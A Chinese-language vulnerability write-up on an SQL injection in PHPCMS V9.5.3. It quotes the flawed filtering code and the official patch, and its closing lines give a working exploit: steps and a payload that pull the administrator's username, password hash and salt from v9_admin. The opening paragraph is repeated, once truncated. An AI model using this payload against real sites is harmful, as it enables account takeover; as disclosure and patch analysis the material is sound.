PHPCMS全版本通杀SQL注入漏洞,测试版本为V9.5.3版本,2014-05-12之前的 存在漏洞的文件/phpcms/modules/member/content.php 202行 edit函数 ``` $info = array(); foreach($_POST['info'] as $_k=>$_v) { if(in_array($_k, $fields)) $_POST['info'][$_k] = new_html_special_chars(trim_script($_v)); } $_POST['linkurl'] = str_replace(array('"','(',')',",",' '),'',new_html_special_chars($_POST['linkurl'])); //exit(print_r($_POST['info'])); $this->content_db->edit_content($_POST['info'],$id); $_POST['info']传入的参数可控,现在要绕过单引号转义。 /caches/caches_model/caches_data/content_input.class.php 第102行 image函数没有正确过滤 function image($field, $value) { $value = str_replace(array("'",'"','(',')'),'',$value); return trim($value); ``` 过滤了"'"、"("、")",但是呢 我们知道当开启了GPC的时候,单引号会被转义 '-->\' 官方修复方案 ``` //修复前 v9.5.3 版本 function image($field, $value) { $value = str_replace(array("'",'"','(',')'),'',$value); return trim($value); } //修复后 最新版 v9.5.10 多了一个safe_replace函数去处理 function image($field, $value) { $value =...
PHPCMS全版本通杀SQL注入漏洞,测试版本为V9.5.3版本,2014-05-12之前的 存在漏洞的文件/phpcms/modules/member/content.php 202行 edit函数 ``` $info = array(); foreach($_POST['info'] as $_k=>$_v) { if(in_array($_k, $fields)) $_POST['info'][$_k] = new_html_special_chars(trim_script($_v)); } $_POST['linkurl'] = str_replace(array('"','(',')',",",' '),'',new_html_special_chars($_POST['linkurl'])); //exit(print_r($_POST['info'])); $this->content_db->edit_content($_POST['info'],$id); $_POST['info']传入的参数可控,现在要绕过单引号转义。 /caches/caches_model/caches_data/content_input.class.php 第102行 image函数没有正确过滤 function image($field, $value) { $value = str_replace(array("'",'"','(',')'),'',$value); return trim($value); ``` 过滤了"'"、"("、")",但是呢 我们知道当开启了GPC的时候,单引号会被转义 '-->\' 官方修复方案 ``` //修复前 v9.5.3 版本 function image($field, $value) { $value = str_replace(array("'",'"','(',')'),'',$value); return trim($value); } //修复后 最新版 v9.5.10 多了一个safe_replace函数去处理 function image($field, $value) { $value = remove_xss(str_replace(array("'",'"','(',')'),'',$value)); $value = safe_replace($value); return trim($value); } safe_replace函数在文件 \phpcms\libs\functions\global.func.php 将所有\再次替换 function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; } ``` 漏洞利用:投稿->修改稿件->缩略图栏填入:sql.jpg' 点击提交,采用Tamper data抓包修改,将info[islink]修改为code 区域,title=(select concat(username,0x7c,password,0x7c,encrypt) from v9_admin where userid=1) – xxx